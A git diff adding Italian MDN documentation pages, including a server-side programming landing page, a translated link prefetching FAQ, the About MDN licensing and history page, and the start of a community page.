+ <li>Autenticazioni.</li>
+ <li>Autorizzazioni e permessi degli utenti.</li>
+ <li>Testing di una applicazione Express.</li>
+ <li>Sicurezza delle applicazioni Express.</li>
+</ul>
+
+<p>And of course, it would be excellent to have an assessment task!</p>
+</div>
diff --git a/files/it/learn/server-side/index.html b/files/it/learn/server-side/index.html
new file mode 100644
index 0000000000..35d72b3443
--- /dev/null
+++ b/files/it/learn/server-side/index.html
@@ -0,0 +1,52 @@
+---
+title: Server-side website programming
+slug: Learn/Server-side
+tags:
+  - Beginner
+  - CodingScripting
+  - Intro
+  - Landing
+  - Learn
+  - NeedsTranslation
+  - Server
+  - Server-side programming
+  - Topic
+  - TopicStub
+translation_of: Learn/Server-side
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">The <strong><em>Dynamic Websites </em></strong>–<em><strong> Server-side programming</strong></em> topic is a series of modules that show how to create dynamic websites; websites that deliver customised information in response to HTTP requests. The modules provide a generic introduction to server-side programming, along with specific beginner-level guides on how to use the Django (Python) and Express (Node.js/JavaScript) web frameworks to create basic applications.</p>
+
+<p>Most major websites use some kind of server-side technology to dynamically display different data as required. For example, imagine how many products are available on Amazon, and imagine how many posts have been written on Facebook? Displaying all of these using completely different static pages would be completely inefficient, so instead such sites display static templates (built using <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>), and then dynamically update the data displayed inside those templates when needed, e.g. when you want to view a different product on Amazon.</p>
+
+<p>In the modern world of web development, learning about server-side development is highly recommended.</p>
+
+<h2 id="Learning_pathway">Learning pathway</h2>
+
+<p>Getting started with server-side programming is usually easier than with client-side development, because dynamic websites tend to perform a lot of very similar operations (retrieving data from a database and displaying it in a page, validating user-entered data and saving it in a database, checking user permissions and logging users in, etc.), and are constructed using web frameworks that make these and other common web server operations easy.</p>
+
+<p>A basic knowledge of programming concepts (or of a particular programming language) is useful, but not essential. Similarly, expertise in client-side coding is not required, but a basic knowledge will help you work better with the developers creating your client-side web "front end".</p>
+
+<p>You will need to understand "how the web works". We recommend that you first read the following topics:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">What is a web server</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">What software do I need to build a website?</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">How do you upload files to a web server?</a></li>
+</ul>
+
+<p>With that basic understanding you'll be ready to work your way through the modules in this section. </p>
+
+<h2 id="Modules">Modules</h2>
+
+<p>This topic contains the following modules. You should start with the first module, then go on to one of the following modules, which show how to work with two very popular server-side languages using appropriate web frameworks . </p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a></dt>
+ <dd>This module provides server-technology-agnostic information about server-side website programming, including answers to fundamental questions about server-side programming — "what it is", "how it differs from client-side programming", and "why it is so useful" — and an overview of some of the more popular server-side web frameworks and guidance on how to select the most suitable for your site. Lastly we provide an introductory section on web server security.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a></dt>
+ <dd>Django is an extremely popular and fully featured server-side web framework, written in Python. The module explains why Django is such a good web server framework, how to set up a development environment and how to perform common tasks with it.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a></dt>
+ <dd>Express is a popular web framework, written in JavaScript and hosted within the node.js runtime environment. The module explains some of the key benefits of this framework, how to set up your development environment and how to perform common web development and deployment tasks.</dd>
+</dl>
diff --git a/files/it/link_prefetching_faq/index.html b/files/it/link_prefetching_faq/index.html
new file mode 100644
index 0000000000..41a0e183c1
--- /dev/null
+++ b/files/it/link_prefetching_faq/index.html
@@ -0,0 +1,126 @@
+---
+title: Link prefetching FAQ
+slug: Link_prefetching_FAQ
+tags:
+  - Gecko
+  - HTML
+  - HTTP
+  - Sviluppo_Web
+  - Tutte_le_categorie
+translation_of: Web/HTTP/Link_prefetching_FAQ
+---
+<h3 id="Cos.27.C3.A8_il_link_prefetching.3F" name="Cos.27.C3.A8_il_link_prefetching.3F">Cos'è il link prefetching?</h3>
+
+<p>Il link prefetching è un meccanismo del browser, che utilizza il tempo di inattività per il download o effettuare il<em>prefetch</em> dei documenti che l'utente potrebbe visitare in un futuro prossimo. Una pagina web fornisce dei consigli per il prefetching al browser, il quale dopo averla caricata, comincia in silenzio il prefetchinf dei documenti specificati e li memorizza nella sua cache. Quando l'utente visita uno dei documenti precaricati, quest'ultimo viene servito velocemente a partire dalla cache del browser.</p>
+
+<h3 id="Cosa_sono_i_prefetching_consigliati_.28prefetching_hints.29.3F" name="Cosa_sono_i_prefetching_consigliati_.28prefetching_hints.29.3F">Cosa sono i prefetching consigliati (prefetching hints)?</h3>
+
+<p>Il browser cerca o un tag HTML <code>link</code> o una intestazione HTTP <code>Link:</code> con una relazione tipo <code>next</code> o <code>prefetch</code>. Ecco un esempio usando il tag <code>link</code>:</p>
+
+<pre class="eval">&lt;link rel="prefetch" href="/images/big.jpeg"&gt;
+</pre>
+
+<p>Lo stesso suggerimento di prefetch usando una intestazione <code>Link:</code>:</p>
+
+<pre class="eval">Link: &lt;/images/big.jpeg&gt;; rel=prefetch
+</pre>
+
+<p>L'intestazione Link: può anche essere specificata all'interno del documento HTML usando un tag <code>meta</code>:</p>
+
+<pre class="eval">&lt;meta http-equiv="Link" content="&amp;lt;/images/big.jpeg&amp;gt;; rel=prefetch"&gt;
+</pre>
+
+<p>Il formato dell'intestazione <code>Link:</code> viene descritta nella <a class="external" href="http://tools.ietf.org/html/rfc2068" title="http://tools.ietf.org/html/rfc2068">RFC 2068</a>, sezione 19.6.2.4.</p>
+
+<div class="note">Nota: internamente facciamo riferimento ad una vecchia specifica di HTTP/1.1 dato che la nuova <a class="external" href="http://tools.ietf.org/html/rfc2616" title="http://tools.ietf.org/html/rfc2616">RFC 2616</a> non descrive l'intestazione <code>Link:</code>. Nonostante le intestazioni <code>Link:</code> non siano parte dello standard revisionato, vengono pratiacmente ancora usate dai server per specificare fogli di stile CSS, per questi ne facciamo qui uso.</div>
+
+<p>Il browser osserva tutti questi suggerimenti ed mette in attesa ogni richiesta per poi effettuare il prefetching nel periodo di inattività del browser. Possono esserci molteplici suggerumenti per ogni pagina, per cui avrebbe senso precaricare molteplici documenti. Ad esempio, il prossimo documento potrebbe contenere diverse immagini di grandi dimensioni.</p>
+
+<p>Seguono alcuni esempi:</p>
+
+<pre class="eval">&lt;link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css"&gt;
+&lt;link rel="next" href="2.html"&gt;
+</pre>
+
+<h3 id="Viene_eseguito_il_prefetch_sui_tag_ancora_.28.3Ca.3E.29.3F" name="Viene_eseguito_il_prefetch_sui_tag_ancora_.28.3Ca.3E.29.3F">Viene eseguito il prefetch sui tag ancora (&lt;a&gt;)?</h3>
+
+<p>No, solo i tag <code>&lt;link&gt;</code> con un tipo relazione <code>next</code> o <code>prefetch</code> vengono precaricati. Comunque, in caso di interesse sufficiente, potremmo pensare di estendere il supporto prefetching ai tag &lt;a&gt; che includono un tipo relazione <code>next</code> o <code>prefetch</code>. Fare questo potrebbe aiutare i fornitori di contenuti ad evitare il problema di aggiornare i link precaricati.</p>
+
+<h3 id="Il_prefetching_.C3.A8_attinente_agli_standard.3F" name="Il_prefetching_.C3.A8_attinente_agli_standard.3F">Il prefetching è attinente agli standard?</h3>
+
+<p>Si, il prefetching di link, come descritto in questo documento, non viola nessuno standard web. Infatti, le specifiche HTML 4.01 permettono esplicitamente la definizione di nuovi tipi relazione link (<a class="external" href="http://www.w3.org/TR/html4/types.html#type-links">vedere la Sezione 6.12: Link types</a>). Comunque, l'esatto meccanismo usato da Mozilla non è ancora parte dello standard. Un draft è in preparazione.</p>
+
+<h3 id="Come_viene_determinato_il_periodo_di_inattivit.C3.A0_.28idle.29_del_browser.3F" name="Come_viene_determinato_il_periodo_di_inattivit.C3.A0_.28idle.29_del_browser.3F">Come viene determinato il periodo di inattività (idle) del browser?</h3>
+
+<p>Nell'implementazione corrente (Mozilla 1.2), il tempo di inattività si determina usando l'API <code>nsIWebProgressListener</code>. Si collega un listener all'oggetto <code>nsIWebProgress</code> ("@mozilla.org/docloaderservice;1"). Da questo, si ricevono notifiche di start e stop, e si approssima il tempo di inattività come il periodo tra l'ultimo documento dal caricamento terminato ed il primo documento dal caricamento iniziato. La notifica dello stop dell'ultimo documento avviene approssimativamente quando il gestore onLoad inizia la sua attività per il documento. Questo accade quando si dà il via a richieste di prefetch. Se un frame figlio contiene suggerimenti di prefetching, il prefetch non inizierà fino a che non siano caricati il documento padre e tutti i figli.</p>
+
+<h3 id="Cosa_accade_se_viene_cliccato_un_link_mentre_viene_eseguito_il_prefetching_di_qualcosa.3F" name="Cosa_accade_se_viene_cliccato_un_link_mentre_viene_eseguito_il_prefetching_di_qualcosa.3F">Cosa accade se viene cliccato un link mentre viene eseguito il prefetching di qualcosa?</h3>
+
+<p>QUando l'utente clicca un link, o inizia un qualche tipo di caricamento di pagina, il prefetch di link si interrompe ed ogni suggerimento di prefetch viene ignorato. Se un documento precaricato è stato parzialmente scaricato, viene comunque memorizzato nella cache se il server invia una intestazione "Accept-Ranges: bytes". Questa intestazione viene tipicamente generata dal webserver nel fornire un documento statico. QUando l'utente visita realmente un documento precaricato, la rimanente porzione del documento viene caricata usando una richiesta HTTP byte-range.</p>
+
+<h3 id="Cosa_succede_se_si_sta_scaricando_qualcosa_in_background.3F_Il_prefetching_del_link_compete_per_la_larghezza_di_banda.3F" name="Cosa_succede_se_si_sta_scaricando_qualcosa_in_background.3F_Il_prefetching_del_link_compete_per_la_larghezza_di_banda.3F">Cosa succede se si sta scaricando qualcosa in background? Il prefetching del link compete per la larghezza di banda?</h3>
+
+<p>Si e no. Se si sta scaricando qualcosa usando Mozilla, il link prefetching verrà posticipato fino a che i download in background non saranno completati. Ad esempio, se si carica un gruppo di segnalibri (il che significa aprire diverse tab), ogni richiesta di prefetch iniziata da una delle pagine di segnalibro non inizierà fino a quando tutte le tab non avranno terminato il caricamento. Se si usa un'altra applicazione di rete, il link prefetching potrebbe competere per la banda con l'altra applicazione. Questo è un problema che speriamo di risolvere in futuro usando i servizi del sistema operativo per controllare il tempo di inattività della connesione.</p>
+
+<h3 id="Ci_sono_restrizioni_su_cosa_viene_eseguito_il_prefetching.3F" name="Ci_sono_restrizioni_su_cosa_viene_eseguito_il_prefetching.3F">Ci sono restrizioni su cosa viene eseguito il prefetching?</h3>
+
+<p>Si, solo gli URL <a class="external" href="http://" rel="freelink">http://</a> possono essere precaricati (URL <a class="link-https" href="https://" rel="freelink">https://</a> non sono mai precaricato per ragioni di sicurezza). Altri protocolli (come FTP) non forniscono un supporto abbastanza ricco per il caching da lato client. In aggiunta a questa restrizione, gli URL con<em>query strings</em> (stringhe di interrogazione) non sono precaricate. Questo perché alcuni URL inviano a documenti che non possono essere riutilizzati fuori dalla cache del browser, per cui il prefetching non darebbe grandi risultati. Abbiamo visto come siti esistenti utilizzino il tag &lt;link rel="next"&gt; con degli URL contenenti query string per fare riferimento al prossimo documento di una serie. Bugzilla ne è un esempio, e questo fa si che i sui report non siano memorizzabili in cache, per cui il prefetch degli URL raddoppierebbe il carico del server del pover Bugzilla! Si possono failmente pensare che altri siti siano stati progettati come Bugzilla, per cui noi esplicitamente non facciamo eseguire il prefetch degli URL con query string. (Avrebbe sensio permettere il prefecth di questi documenti quando è specificato il tipo relazione <code>rel=prefetch</code>, dato che non dovrebbe apparire in nessun contenuto esistente.) Non ci sono altre restrizioni sugli URL precaricati.</p>
+
+<h3 id="Mozilla_effettua_il_prefetch_di_documenti_da_host_differenti.3F" name="Mozilla_effettua_il_prefetch_di_documenti_da_host_differenti.3F">Mozilla effettua il prefetch di documenti da host differenti?</h3>
+
+<p>Si. Non ci sono restrizioni sull'origine dei documenti per il link prefetching. Litare il prefetching solo agli URL dello stesso server non offrirebbe nessun aumento della sicurezza del browser.</p>
+
+<h3 id="Le_richieste_da_prefetching_contengono_una_intestazione_Refer:_.3F" name="Le_richieste_da_prefetching_contengono_una_intestazione_Refer:_.3F">Le richieste da prefetching contengono una intestazione Refer: ?</h3>
+
+<p>Sì, le richieste da prefetch includono una intestazione HTTP <code>Referer:</code> indicante il documento dal quale il suggerimento di prefetch è stato estratto.</p>
+
+<p>Questo potrebbe avere impatto sul tracciamento dei refer solitamente usato in molti siti. Per questo, il link prefetching potrebbe non essere appropriato per tutti i contenuti. Comunque, è possibile istruire Mozilla per validare un documento precaricato quando l'utente segue un href verso il documento precaricato, specificando l'intestazione HTTP <code>Cache-control: must-revalidate</code>. Questa intestazione abilita la memorizzazione in cache, ma ha necessita di una richiesta di validazione <code>If-Modified-Since</code> o <code>If-None-Match</code> prima di servire il documento dalla cache stessa.</p>
+
+<h3 id="Come_amministratore_di_server.2C_posso_distinguere_tra_richieste_di_prefetch_e_richieste_normali.3F" name="Come_amministratore_di_server.2C_posso_distinguere_tra_richieste_di_prefetch_e_richieste_normali.3F">Come amministratore di server, posso distinguere tra richieste di prefetch e richieste normali?</h3>
+
+<p>Si, mandiamo la seguente intestazione insieme con la richiesta di prefetch:</p>
+
+<pre>X-moz: prefetch</pre>
+
+<p>Ovviamente, questa intestazione di richiesta non è del tutto standard, e potrebbe cambiare in future release di Mozilla.</p>
+
+<h3 id="C.27.C3.A8_una_opzione_per_disabilitare_il_prefetching_di_link.3F" name="C.27.C3.A8_una_opzione_per_disabilitare_il_prefetching_di_link.3F">C'è una opzione per disabilitare il prefetching di link?</h3>
+
+<p>Si, c'è una preferenza nascosta da impostare per disabilatare il link prefetching. Aggiungere questa linea a prefs.js nella directory del proprio profilo di Mozilla.</p>
+
+<pre>user_pref("network.prefetch-next",false);</pre>
+
+<p>Stiamo considerando di aggiungere una Interfaccia Utente per questa preferenza (<s>vedere {{ Bug(166648) }}</s>); in ogni caso, la nostra teoria è che se il link prefetching deve essere disabilitato allora qualcosa è sagliato nella sua implementazione. Cerchiamo di migliorare l'implementazione se questa si rivelasse errata, piuttosto che attenderci che gli utenti vadano a cercare qualche oscura voce di preferenza nell'interfaccia uente. Diamine, l'interfaccia utente di Mozilla per le opzioni è già abbastanza piena ;-)</p>
+
+<div class="note">Aggiornamento: causa la moltitudine di richieste, Mozilla 1.3+ include una opzione di preferenza nell'interfaccia utente per disabilitare il prefetching. Vedere Preferences-&gt;Advanced-&gt;
+<pre>user_pref("network.prefetch-next",false);</pre>
+</div>
+
+<h3 id="Riguardo_alle_persone_che_pagano_per_avere_banda.3F" name="Riguardo_alle_persone_che_pagano_per_avere_banda.3F">Riguardo alle persone che pagano per avere banda?</h3>
+
+<p><span class="comment">Basically, there are two ways of looking at this issue: # websites can already cause things to be silently downloaded using JS/DOM hacks. # prefetching is a browser feature; users should be able to disable it easily. It is important that websites adopt &lt;code&gt;&lt;link&gt;&lt;/code&gt; tag based prefetching instead of trying to roll-in silent downloading using various JS/DOM hacks. The &lt;code&gt;&lt;link&gt;&lt;/code&gt; tag gives the browser the ability to know what sites are up to, and we can use this information to better prioritize document prefetching. The user preference to disable &lt;code&gt;&lt;link&gt;&lt;/code&gt; tag prefetching may simply encourage websites to stick with JS/DOM hacks, and that would not be good for users. This is one reason why prefetching is enabled by default.</span></p>
+
+<h3 id="Quali_browser_supportano_il_link_prefetching.3F" name="Quali_browser_supportano_il_link_prefetching.3F">Quali browser supportano il link prefetching?</h3>
+
+<p>I browser basati su Mozilla 1.2 (o successivi) così come browser basati su Mozilla 1.0.2 (o successivi) supportano il prefetching. Questo include Firefox e Netscape 7.01+. Le build di Camino da Marzo 2003 sono basate su Mozilla 1.0.1, pre cui non supportano il prefetching.</p>
+
+<p><a class="external" href="http://gemal.dk/browserspy/prefetch.php">Effettua un test</a> con il tuo browser per vedere se supporta il Link Prefetching.</p>
+
+<h3 id="Cos.27altro_riguardo....3F" name="Cos.27altro_riguardo....3F">Cos'altro riguardo...?</h3>
+
+<p>Per qualasiasi altra domanda o commento riguardo al link prefetching, mandatele pure a me :-)</p>
+
+<h4 id="Vedere_inoltre..." name="Vedere_inoltre...">Vedere inoltre...</h4>
+
+<p><a class="external" href="http://www.edochan.com/programming/pf.htm">Prefetching Hints</a></p>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Darin Fisher (darin at meer dot net)</li>
+ <li>Last Updated Date: Updated: March 3, 2003</li>
+</ul>
+</div>
+
+<p>{{ languages( { "en": "en/Link_prefetching_FAQ" } ) }}</p>
diff --git a/files/it/localization/index.html b/files/it/localization/index.html
new file mode 100644
index 0000000000..678f3670ed
--- /dev/null
+++ b/files/it/localization/index.html
@@ -0,0 +1,10 @@
+---
+title: Localization
+slug: Localization
+tags:
+  - Da_unire
+  - Tutte_le_categorie
+translation_of: Glossary/Localization
+---
+<p>La <b>localizzazione</b> è il processo di traduzione delle interfacce utente di un software da un linguaggio a un altro adattandolo anche a una cultura straniera. Queste risorse servono ad aiutare la localizzazione delle applicazioni e delle estensioni basate su Mozilla.</p>
+<p>{{ languages( { "es": "es/Localizaci\u00f3n", "fr": "fr/Localisation", "ja": "ja/Localization", "pl": "pl/Lokalizacja", "pt": "pt/Localiza\u00e7\u00e3o" } ) }}</p>
diff --git a/files/it/mdn/about/index.html b/files/it/mdn/about/index.html
new file mode 100644
index 0000000000..b6b978345d
--- /dev/null
+++ b/files/it/mdn/about/index.html
@@ -0,0 +1,116 @@
+---
+title: Informazioni su MDN
+slug: MDN/About
+tags:
+  - Collaborazione
+  - Copyright
+  - Documentazione
+  - Guide
+  - Licenzze
+  - Meta MDN
+translation_of: MDN/About
+---
+<div>{{MDNSidebar}}</div>
+
+<p>Mozilla Developer Network o MDN (la Rete di Sviluppatori Mozilla) è una piattaforma di apprendimento in continua evoluzione per le tecnologie e il software che rendono il Web possibile, tra cui:</p>
+
+<ul>
+ <li>Standard del Web come <a href="/it/docs/CSS" title="/it/docs/CSS">CSS</a>, <a href="/it/docs/HTML" title="/it/docs/HTML">HTML</a>, e <a href="/it/docs/JavaScript" title="/it/docs/JavaScript">JavaScript</a></li>
+ <li><a href="/it/docs/Apps" title="/it/docs/Apps">Sviluppo di app open eb</a></li>
+ <li><a href="/it/docs/Add-ons" title="/it/docs/Add-ons">Sviluppo di componenti aggiuntive per Firefox</a></li>
+</ul>
+
+<h2 id="La_nostra_missione">La nostra missione</h2>
+
+<p>La missione di MDN è semplice: fornire agli sviluppatori tutte le informazioni di cui hanno bisogno per creare facilmente progetti <a href="/it/docs/Web">web open</a>. Se si tratta di una tecnologia open disponibile sul Web, vogliamo documentarla.</p>
+
+<p>Inoltre, forniamo documentazione sui <a href="/it/docs/Mozilla">prodotti Mozilla</a> come <a href="/it/docs/Mozilla">sviluppare e contribuire ai progetti Mozilla</a>.</p>
+
+<p>Se non sei sicuro che un argomento in particolare debba essere trattato su MDN, leggi l'articolo: <a href="/it/docs/Project:MDN/Contributing/Does_this_belong">Questo appartiene a MDN?</a></p>
+
+<h2 id="Come_contribuire">Come contribuire</h2>
+
+<p>Non devi essere in grado di programmare - o esser uno scrittore - per poter contribuire a MDN! Esistono molti modi per aiutare, dalla revisione degli articoli per assicurarsi che siano sensati, allo scrivere testi, all'aggiungere esempi di codice.  Esistono così tanti modi di contribuire che abbiamo creato una pagina <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">Come Iniziare</a> per aiutarti a scegliere i task piu' adatti in base ai tuoi interessi o al tempo che gli puoi dedicare!</p>
+
+<p>Puoi contribuire anche <a href="https://developer.mozilla.org/en-US/docs/MDN/About/Promote">promuovendo MDN</a> sul tuo blog o sito web.</p>
+
+<h2 id="La_comunità_di_MDN">La comunità di MDN</h2>
+
+<p>La nostra è una comunità globale! Abbiamo fantastici collaboratori in tutto il mondo che parlano varie lingue. Se vuoi maggiori informazioni, o se hai bisogno di qualsiasi tipo di aiuto riguardo MDN, puoi cercare nel nostro <span class="short_text" id="result_box" lang="it"><span>forum di discussione</span></span> o il nostro <a href="irc://irc.mozilla.org#mdn">canale IRC</a>! Puoi seguirci su Twitter <a href="http://twitter.com/MozDevNet">@MozDevNet</a> per essere sempre aggiornato su quello che stiamo facendo. Se vedi qualcosa di sbagliato, ci vuoi dare il tuo feedback o inviare un ringraziamento ai nostri editori e collaboratori mandaci i tuoi tweet!</p>
+
+<h2 id="Utilizzare_i_Web_Docs_MDN">Utilizzare i Web Docs MDN</h2>
+
+<p>I contenuti di MDN sono disponibili gratuitamente sotto licenze opern source.</p>
+
+<h3 id="Copyright_e_licenze">Copyright e licenze</h3>
+
+<p>I contenuti MDN sono completamente disponibili sotto differenti licenze opern source. Questa sezione descrive il tipo di contenuti e le licenze in uno per ognuno di essi.</p>
+
+<h4 id="Documentazione_e_articoli">Documentazione e articoli</h4>
+
+<p><strong>I documenti wiki di MDN</strong> sono stati realizzati con il contributo di vari autori, sia interni che esterni alla Mozilla Foundation. A meno che non sia indicato diversamente, i contenuti sono disponibili secondo i termini della <a class="external text" href="http://creativecommons.org/licenses/by-sa/2.5/" rel="nofollow" title="http://creativecommons.org/licenses/by-sa/2.5/">licenza Creative Commons Attribution-ShareAlike</a> (CC-BY-SA), v2.5 o qualsiasi versione successiva. Per favore attribuisci gli articoli a "Mozilla Contributors" e includi un collegamento  (online) o un URL (per le stampe) alla pagina wiki specifica da cui hai preso i contenuti. Per esempio, per indicare l'attribuzione di questo articolo, puoi scrivere</p>
+
+<blockquote><a href="https://developer.mozilla.org/it/docs/MDN/About">About MDN</a> by <a href="https://developer.mozilla.org/it/docs/MDN/About$history">Mozilla Contributors</a> is licensed under <a href="http://creativecommons.org/licenses/by-sa/2.5/">CC-BY-SA 2.5</a>.</blockquote>
+
+<p>Nota che nell'esempio, "Mozilla Contributors" è un collegamento allo storico della pagina citata. Per ulteriori informazioni leggi <a href="http://wiki.creativecommons.org/Marking/Users">Regole per una corretta attribuzione</a>.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> per maggiori informazioni su come riutilizzare e attribuire contenuti MDN sul sito WebPlatform.org, leggi <a href="/it/docs/MDN_content_on_WebPlatform.org" title="/it/docs/MDN_content_on_WebPlatform.org">contenuti MDN su WebPlatform.org</a>.</p>
+</div>
+
+<h4 id="Esempi_di_codice_e_frammenti">Esempi di codice e frammenti</h4>
+
+<p>Gli esempi di codice aggiunti dal 20 agosto 2010 (incluso) sono di <a class="external" href="http://creativecommons.org/publicdomain/zero/1.0/" title="http://wiki.creativecommons.org/Public_domain">pubblico dominio</a>. Non è necessaria alcuna nota di licenza, ma se te ne serve una puoi usare: "Any copyright is dedicated to the Public Domain. http://creativecommons.org/publicdomain/zero/1.0/".</p>
+
+<p>Gli esempi di codice aggiunti a questo wiki prima del 20 agosto 2010 sono disponibili sotto la <a class="external" href="http://www.opensource.org/licenses/mit-license.php" title="http://www.opensource.org/licenses/mit-license.php">licenza MIT</a>; dovresti inserire le seguenti informazioni di attribuzione nel template MIT: "© &lt;data della ultima revisione della pagina wiki&gt; &lt;nome della persona che l'ha inserita nel wiki&gt;".</p>
+
+<h4 id="Contributi">Contributi</h4>
+
+<p>Se desideri contribuire a questo wiki devi rendere la tua documentazione disponibile sotto licenza Attribution-ShareAlike (o occasionalmente una licenza altrenativa già specificata nella pagina che stai modificando), e il tuo codice di esempio deve essere disponibile sotto licenza <a href="http://creativecommons.org/publicdomain/zero/1.0/" title="http://creativecommons.org/publicdomain/zero/1.0/">Creative Commons CC-0</a> (una dedica al Pubblico Dominio). Aggiungere materiale a questo wiki significa che acconsenti a che i tuoi contributi siano resi disponibili secondo queste licenze.</p>
+
+<p>Alcuni vecchi contenuti sono resi disponibili sotto licenze diverse da quelle qui indicate; questi sono indicati in fondo alla pagina attraverso un <a class="internal" href="/Project:en/Examples/Alternate_License_Block" title="Project:En/Examples/Alternate License Block">Blocco di licenza alternativa</a>.</p>
+
+<div class="warning">
+<p>Nessuna nuova pagina può essere creata usando licenze alternative.</p>
+</div>
+
+<p><strong>Il copyright per i materiali aggiunti rimane all'autore, a meno che l'autore non lo assegni a qualcun altro.</strong></p>
+
+<p>In caso di dubbi sull'argomento, contattare gli <a href="mailto:mdn-admins@mozilla.org">amministratori MDN</a>.</p>
+
+<h4 id="Loghi_marchi_marchi_di_servizio_e_logotipo">Loghi, marchi, marchi di servizio e logotipo</h4>
+
+<hr>
+<p>I diritti dei marchi, loghi e marchi dei servizi della Mozilla Foundation, così come l'aspetto di questo sito, non sono sotto licenza Creative Commons e, se si tratta di lavori di autore (come loghi e design grafico) non sono inclusi nelle opere che sottostanno a questa licenza. Se intendi usare il testo di questi documenti e intendi esercitare qualcuno di questi diritti, o se hai altre domande riguardo il rispetto dei nostri termini di licenza per questa collezione, puoi contattare la Mozilla foundation all'indirizzo: <a class="external text" href="mailto:licensing@mozilla.org" rel="nofollow" title="mailto:licensing@mozilla.org">licensing@mozilla.org</a>.</p>
+
+<h3 id="Collegamenti_a_MDN">Collegamenti a MDN</h3>
+
+<p>Questo articolo fornisce una guida e best practices quando si crea <a href="https://developer.mozilla.org/en-US/docs/MDN/About/Linking_to_MDN">un link a MDN</a>.</p>
+
+<h2 id="Scaricare_contenuti">Scaricare contenuti</h2>
+
+<p>Puoi scaricare un <a href="https://mdn-downloads.s3-us-west-2.amazonaws.com/developer.mozilla.org.tar.gz">mirror completo in formato tarball di MDN</a> (2.1 GB aggiornato a Febbraio 2017).</p>
+
+<h3 id="Pagine_singole">Pagine singole</h3>
+
+<p>Puoi ottenere i contenuti di una singola pagina di MDN aggiungendo dei <a href="/it/docs/Project:MDN/Kuma/API#Document_parameters">parametri di documento</a> all'URL per specificare quale formato vuoi richiedere.</p>
+
+<h3 id="Strumenti_di_terze_parti">Strumenti di terze parti</h3>
+
+<p>Puoi visualizzare i contenuti di MDN anche tramite strumenti di terze parti come <a href="http://kapeli.com/dash">Dash</a> (per Mac OS) e <a href="http://zealdocs.org/">Zeal</a> (per Linux e Windows).</p>
+
+<p><a href="https://kapeli.com/">Kapeli</a> pubblica <a href="https://kapeli.com/mdn_offline">documenti MDN offline</a> su HTML, CSS, JavaScript, SVG e XSLT.</p>
+
+<h2 id="Segnalare_problemi_con_i_Web_Docs_MDN">Segnalare problemi con i Web Docs MDN</h2>
+
+<p>Visita <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Report_a_problem">Come segnalare un problema con MDN</a>.</p>
+
+<h2 id="La_storia_di_MDN">La storia di MDN</h2>
+
+<p>Il progetto Mozilla Developer Network (precedentemente <em>Mozilla Developer Center (MDC) o</em> <em>Devmo</em>) è nato all'inizio del 2005 quando la <a class="external" href="https://www.mozilla.org/it/foundation/">Mozilla Foundation</a> ha ottenuto la licenza da AOL per utilizzare i contenuti originali di <a href="/it/docs/Archive/Meta_docs/DevEdge" title="Project:en/DevEdge">DevEdge</a>. Il contenuto di DevEdge è stato estratto per cercare materiale ancora utile, poi migrato su questo wiki dai volontari affinché fosse più facile da aggiornare e mantenere.</p>
+
+<p>Puoi trovare altre informazioni nella <a href="https://developer.mozilla.org/en-US/docs/MDN_at_ten">pagina del 10mo anniversario</a> oltre ad un racconto da parte di alcune delle persone che ne hanno fatto parte.</p>
+
+<h2 id="Informazioni_su_Mozilla">Informazioni su Mozilla</h2>
+
+<p>Se vuoi saperne di più su chi siamo, su come entrare a far parte di Mozilla o semplicemente sapere dove trovarci, sei arrivato nel posto giusto. Per scoprire cosa ci spinge e ci rende differenti, visita la pagina sulla nostra <a href="http://www.mozilla.org/it/mission/">missione</a>.</p>
diff --git a/files/it/mdn/community/index.html b/files/it/mdn/community/index.html
new file mode 100644
index 0000000000..14a121baca
--- /dev/null
+++ b/files/it/mdn/community/index.html
@@ -0,0 +1,49 @@
+---
+title: Join the MDN community
+slug: MDN/Community
+translation_of: MDN/Community
+---
+<div>{{MDNSidebar}}</div>
+
+<p>{{IncludeSubnav("/it-IT/docs/MDN")}}</p>
+
+<div class="summary">
+<p>MDN (l'abbreviazione sta per Mozilla Developer Network) è più di un wiki: è una comunità di sviluppatore che lavorano insieme per rendere MDN una risorsa eccezionale per gli sviluppatori che usano le tecnologie web di tipo open.</p>
+</div>
+
+<p>Ci fa piacere se contribuisci a MDN, ma ci piacerebbe ancora di più se tu partecipassi alla community di MDN. Ecco come puoi connetterti, in tre facili passi:</p>
+
+<ol>
+ <li><a href="/en-US/docs/MDN/Contribute/Howto/Create_an_MDN_account">Crea un account MDN</a>.</li>
+ <li><a href="/en-US/docs/MDN/Community/Conversations">Unisciti a una conversazione</a>.</li>
+ <li><a href="/en-US/docs/MDN/Community/Whats_happening">Segui ciò che avviene</a>.</li>
+</ol>
+
+<h2 id="Come_lavora_la_community">Come lavora la community</h2>
+
+<p>Quelli che seguono sono articoli aggiuntivi per descrivere la community di MDN.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Roles">Regole della Community</a></dt>
+ <dd class="landingPageList">Ci sono alcuni ruoli nella community di MDN che hanno specifiche responsabilità.</dd>
+ <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Doc_sprints">Sprint di documentazione</a></dt>
+ <dd class="landingPageList">Questa è una guida per organizzare uno sprint documentale. Contiene consigli e trucchi forniti da chi ne ha organizzati, per fare in modo che anche tu ne possa organizzarne uno.</dd>
+ <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Whats_happening">Segui cosa succede</a></dt>
